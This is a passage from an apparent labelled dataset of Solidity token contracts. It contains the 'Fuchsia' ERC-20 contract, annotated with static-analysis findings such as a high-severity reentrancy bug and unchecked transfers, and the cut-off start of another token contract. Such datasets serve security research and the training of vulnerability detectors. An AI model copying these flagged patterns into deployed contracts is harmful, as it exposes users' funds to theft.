_totalSupply.mul(2).div(100);\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\n bool public swapAndLiquifyEnabled = true;\n\n bool public swapAndLiquifyByLimitOnly = false;\n\n bool public checkWalletLimit = true;\n\n bool public EnableTransactionLimit = true;\n\n event SwapAndLiquifyEnabledUpdated(bool enabled);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiqudity\n );\n\n event SwapETHForTokens(uint256 amountIn, address[] path);\n\n event SwapTokensForETH(uint256 amountIn, address[] path);\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n\n isExcludedFromFee[owner()] = true;\n\n isExcludedFromFee[marketingWallet] = true;\n\n isExcludedFromFee[DeveloperWallet] = true;\n\n isExcludedFromFee[address(this)] = true;\n\n isWalletLimitExempt[owner()] = true;\n\n isWalletLimitExempt[marketingWallet] = true;\n\n isWalletLimitExempt[DeveloperWallet] = true;\n\n isWalletLimitExempt[address(uniswapPair)] = true;\n\n isWalletLimitExempt[address(this)] = true;\n\n isTxLimitExempt[owner()] = true;\n\n isTxLimitExempt[marketingWallet] = true;\n\n isTxLimitExempt[DeveloperWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(\n _buyDeveloperFee\n );\n\n _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(\n _sellDeveloperFee\n );\n\n isMarketPair[address(uniswapPair)] = true;\n\n liquidityReciever = address(msg.sender);\n\n _balances[DeveloperWallet] = _totalSupply;\n\n emit Transfer(address(0), DeveloperWallet, _totalSupply);\n }\n\n function setTradingEnabled(bool _enabled) external onlyOwner {\n tradingEnabled = _enabled;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5e5dfa2): Fuchsia.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5e5dfa2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e4aef8d): Fuchsia._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e4aef8d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9927ff4\n\t\t// reentrancy-benign | ID: 560d2c4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1e48c66\n\t\t// reentrancy-events | ID: 48dd24e\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPairStatus(\n address account,\n bool newValue\n ) public onlyOwner {\n isMarketPair[account] = newValue;\n }\n\n function setIsExcludedFromFee(\n address account,\n bool newValue\n ) public onlyOwner {\n isExcludedFromFee[account] = newValue;\n }\n\n function setIsTxLimitExempt(\n address holder,\n bool exempt\n ) external onlyOwner {\n isTxLimitExempt[holder] = exempt;\n }\n\n function setIsWalletLimitExempt(\n address holder,\n bool exempt\n ) external onlyOwner {\n isWalletLimitExempt[holder] = exempt;\n }\n\n function enableTxLimit(bool _status) external onlyOwner {\n EnableTransactionLimit = _status;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 75964a8): Fuchsia.setMaxTxAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 75964a8: Emit an event for critical parameter changes.\n function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner {\n\t\t// events-maths | ID: 75964a8\n _maxTxAmount = maxTxAmount;\n }\n\n function enableDisableWalletLimit(bool newValue) external onlyOwner {\n checkWalletLimit = newValue;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 70d4e2b): Fuchsia.setWalletLimit(uint256) should emit an event for _walletMax = newLimit \n\t// Recommendation for 70d4e2b: Emit an event for critical parameter changes.\n function setWalletLimit(uint256 newLimit) external onlyOwner {\n\t\t// events-maths | ID: 70d4e2b\n _walletMax = newLimit;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b0f88af): Fuchsia.setNumTokensBeforeSwap(uint256) should emit an event for minimumTokensBeforeSwap = newLimit \n\t// Recommendation for b0f88af: Emit an event for critical parameter changes.\n function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner {\n\t\t// events-maths | ID: b0f88af\n minimumTokensBeforeSwap = newLimit;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a6885d5): Fuchsia.setMarketingWalletAddress(address).newAddress lacks a zerocheck on \t marketingWallet = address(newAddress)\n\t// Recommendation for a6885d5: Check that the address is not zero.\n function setMarketingWalletAddress(address newAddress) external onlyOwner {\n\t\t// missing-zero-check | ID: a6885d5\n marketingWallet = payable(newAddress);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d390200): Fuchsia.setLiquidityWalletAddress(address).newAddress lacks a zerocheck on \t liquidityReciever = address(newAddress)\n\t// Recommendation for d390200: Check that the address is not zero.\n function setLiquidityWalletAddress(address newAddress) external onlyOwner {\n\t\t// missing-zero-check | ID: d390200\n liquidityReciever = payable(newAddress);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5b88e9a): Fuchsia.setDeveloperWalletAddress(address).newAddress lacks a zerocheck on \t DeveloperWallet = address(newAddress)\n\t// Recommendation for 5b88e9a: Check that the address is not zero.\n function setDeveloperWalletAddress(address newAddress) external onlyOwner {\n\t\t// missing-zero-check | ID: 5b88e9a\n DeveloperWallet = payable(newAddress);\n }\n\n function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {\n swapAndLiquifyEnabled = _enabled;\n\n emit SwapAndLiquifyEnabledUpdated(_enabled);\n }\n\n function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {\n swapAndLiquifyByLimitOnly = newValue;\n }\n\n function getCirculatingSupply() public view returns (uint256) {\n return\n _totalSupply.sub(balanceOf(deadAddress)).sub(\n balanceOf(zeroAddress)\n );\n }\n\n function transferToAddressETH(\n address payable recipient,\n uint256 amount\n ) private {\n recipient.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b16abe5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b16abe5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function changeRouterVersion(\n address newRouterAddress\n ) public onlyOwner returns (address newPairAddress) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n newRouterAddress\n );\n\n newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n if (newPairAddress == address(0)) {\n\t\t\t// reentrancy-benign | ID: b16abe5\n newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n }\n\n\t\t// reentrancy-benign | ID: b16abe5\n uniswapPair = newPairAddress;\n\n\t\t// reentrancy-benign | ID: b16abe5\n uniswapV2Router = _uniswapV2Router;\n\n\t\t// reentrancy-benign | ID: b16abe5\n isMarketPair[address(uniswapPair)] = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 73f3c92): Missing events for critical arithmetic parameters.\n\t// Recommendation for 73f3c92: Emit an event for critical parameter changes.\n function setBuyTaxes(\n uint _Liquidity,\n uint _Marketing,\n uint _Developer\n ) public onlyOwner {\n\t\t// events-maths | ID: 73f3c92\n _buyLiquidityFee = _Liquidity;\n\n\t\t// events-maths | ID: 73f3c92\n _buyMarketingFee = _Marketing;\n\n _buyDeveloperFee = _Developer;\n\n\t\t// events-maths | ID: 73f3c92\n _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(\n _buyDeveloperFee\n );\n\n require(\n _totalTaxIfBuying <= (feeUnits / 25),\n \"Buy fees must be 25% or less\"\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3202ea9): Missing events for critical arithmetic parameters.\n\t// Recommendation for 3202ea9: Emit an event for critical parameter changes.\n function setSellTaxes(\n uint _Liquidity,\n uint _Marketing,\n uint _Developer\n ) public onlyOwner {\n\t\t// events-maths | ID: 3202ea9\n _sellLiquidityFee = _Liquidity;\n\n\t\t// events-maths | ID: 3202ea9\n _sellMarketingFee = _Marketing;\n\n _sellDeveloperFee = _Developer;\n\n\t\t// events-maths | ID: 3202ea9\n _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(\n _sellDeveloperFee\n );\n\n require(\n _totalTaxIfSelling <= (feeUnits / 25),\n \"Sell fees must be 25% or less\"\n );\n }\n\n receive() external payable {}\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 48dd24e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 48dd24e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 560d2c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 560d2c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 48dd24e\n\t\t// reentrancy-benign | ID: 560d2c4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 48dd24e\n\t\t// reentrancy-benign | ID: 560d2c4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1e9dccc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1e9dccc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 49fd3cb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 49fd3cb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(sender, recipient, amount);\n } else {\n if (\n !isTxLimitExempt[sender] &&\n !isTxLimitExempt[recipient] &&\n EnableTransactionLimit\n ) {\n require(\n amount <= _maxTxAmount,\n \"Transfer amount exceeds the maxTxAmount.\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool overMinimumTokenBalance = contractTokenBalance >=\n minimumTokensBeforeSwap;\n\n if (\n overMinimumTokenBalance &&\n !inSwapAndLiquify &&\n !isMarketPair[sender] &&\n swapAndLiquifyEnabled\n ) {\n if (swapAndLiquifyByLimitOnly)\n contractTokenBalance = minimumTokensBeforeSwap;\n\n\t\t\t\t// reentrancy-events | ID: 1e9dccc\n\t\t\t\t// reentrancy-eth | ID: 49fd3cb\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-eth | ID: 49fd3cb\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n\t\t\t// reentrancy-events | ID: 1e9dccc\n\t\t\t// reentrancy-eth | ID: 49fd3cb\n uint256 finalAmount = (isExcludedFromFee[sender] ||\n isExcludedFromFee[recipient])\n ? amount\n : takeFee(sender, recipient, amount);\n\n if (checkWalletLimit && !isWalletLimitExempt[recipient]) {\n require(\n balanceOf(recipient).add(finalAmount) <= _walletMax,\n \"Amount Exceed From Max Wallet Limit!!\"\n );\n }\n\n\t\t\t// reentrancy-eth | ID: 49fd3cb\n _balances[recipient] = _balances[recipient].add(finalAmount);\n\n\t\t\t// reentrancy-events | ID: 1e9dccc\n emit Transfer(sender, recipient, finalAmount);\n\n return true;\n }\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 73ade34): Fuchsia.rescueStuckedToken(address,uint256) ignores return value by IERC20(_token).transfer(msg.sender,_amount)\n\t// Recommendation for 73ade34: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckedToken(\n address _token,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 73ade34\n IERC20(_token).transfer(msg.sender, _amount);\n }\n\n function rescueFunds() external onlyOwner {\n (bool os, ) = payable(msg.sender).call{value: address(this).balance}(\n \"\"\n );\n\n require(os);\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1e48c66): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1e48c66: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9927ff4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9927ff4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndLiquify(uint256 tAmount) private lockTheSwap {\n uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);\n\n uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);\n\n uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);\n\n uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(\n 2\n );\n\n uint256 tokenForSwap = tAmount.sub(tokenForLp);\n\n uint256 initialBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 1e48c66\n\t\t// reentrancy-benign | ID: 9927ff4\n swapTokensForEth(tokenForSwap);\n\n uint256 recievedBalance = address(this).balance.sub(initialBalance);\n\n uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));\n\n uint256 amountETHLiquidity = recievedBalance\n .mul(liquidityShare)\n .div(totalETHFee)\n .div(2);\n\n uint256 amountETHMarketing = recievedBalance.mul(MarketingShare).div(\n totalETHFee\n );\n\n uint256 amountETHDeveloper = recievedBalance\n .sub(amountETHLiquidity)\n .sub(amountETHMarketing);\n\n if (amountETHMarketing > 0) {\n\t\t\t// reentrancy-events | ID: 1e9dccc\n\t\t\t// reentrancy-events | ID: 1e48c66\n\t\t\t// reentrancy-events | ID: 48dd24e\n\t\t\t// reentrancy-eth | ID: 49fd3cb\n payable(marketingWallet).transfer(amountETHMarketing);\n }\n\n if (amountETHDeveloper > 0) {\n\t\t\t// reentrancy-events | ID: 1e9dccc\n\t\t\t// reentrancy-events | ID: 1e48c66\n\t\t\t// reentrancy-events | ID: 48dd24e\n\t\t\t// reentrancy-eth | ID: 49fd3cb\n payable(DeveloperWallet).transfer(amountETHDeveloper);\n }\n\n if (amountETHLiquidity > 0 && tokenForLp > 0) {\n\t\t\t// reentrancy-events | ID: 1e48c66\n\t\t\t// reentrancy-benign | ID: 9927ff4\n addLiquidity(tokenForLp, amountETHLiquidity);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 38b1a51): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 38b1a51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1e9dccc\n\t\t// reentrancy-events | ID: 1e48c66\n\t\t// reentrancy-events | ID: 38b1a51\n\t\t// reentrancy-events | ID: 48dd24e\n\t\t// reentrancy-benign | ID: 9927ff4\n\t\t// reentrancy-benign | ID: 560d2c4\n\t\t// reentrancy-eth | ID: 49fd3cb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: 38b1a51\n emit SwapTokensForETH(tokenAmount, path);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6a1a01f): Fuchsia.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,liquidityReciever,block.timestamp)\n\t// Recommendation for 6a1a01f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 48a9432): Fuchsia.addLiquidity(uint256,uint256) sends eth to arbitrary user Dangerous calls uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,liquidityReciever,block.timestamp)\n\t// Recommendation for 48a9432: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1e9dccc\n\t\t// reentrancy-events | ID: 1e48c66\n\t\t// reentrancy-events | ID: 48dd24e\n\t\t// reentrancy-benign | ID: 9927ff4\n\t\t// reentrancy-benign | ID: 560d2c4\n\t\t// unused-return | ID: 6a1a01f\n\t\t// reentrancy-eth | ID: 49fd3cb\n\t\t// arbitrary-send-eth | ID: 48a9432\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n liquidityReciever,\n block.timestamp\n );\n }\n\n function takeFee(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (uint256) {\n uint256 feeAmount = 0;\n\n if (isMarketPair[sender]) {\n feeAmount = amount.mul(_totalTaxIfBuying).div(100);\n } else if (isMarketPair[recipient]) {\n feeAmount = amount.mul(_totalTaxIfSelling).div(100);\n }\n\n if (feeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 49fd3cb\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\n\t\t\t// reentrancy-events | ID: 1e9dccc\n emit Transfer(sender, address(this), feeAmount);\n }\n\n return amount.sub(feeAmount);\n }\n\n function airdrop(\n address[] calldata _address,\n uint[] calldata _tokens\n ) external onlyOwner {\n address account = msg.sender;\n\n require(_address.length == _tokens.length, \"Error: Mismatch Length\");\n\n uint tokenCount;\n\n for (uint i = 0; i < _tokens.length; i++) {\n tokenCount += _tokens[i];\n }\n\n require(\n balanceOf(account) >= tokenCount,\n \"Error: Insufficient Error!!\"\n );\n\n _balances[account] = _balances[account].sub(tokenCount);\n\n for (uint j = 0; j < _address.length; j++) {\n _balances[_address[j]] = _balances[_address[j]].add(_tokens[j]);\n\n emit Transfer(account, _address[j], _tokens[j]);\n }\n }\n}\n",
"file_name": "solidity_code_10029.sol",
"size_bytes": 38851,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n 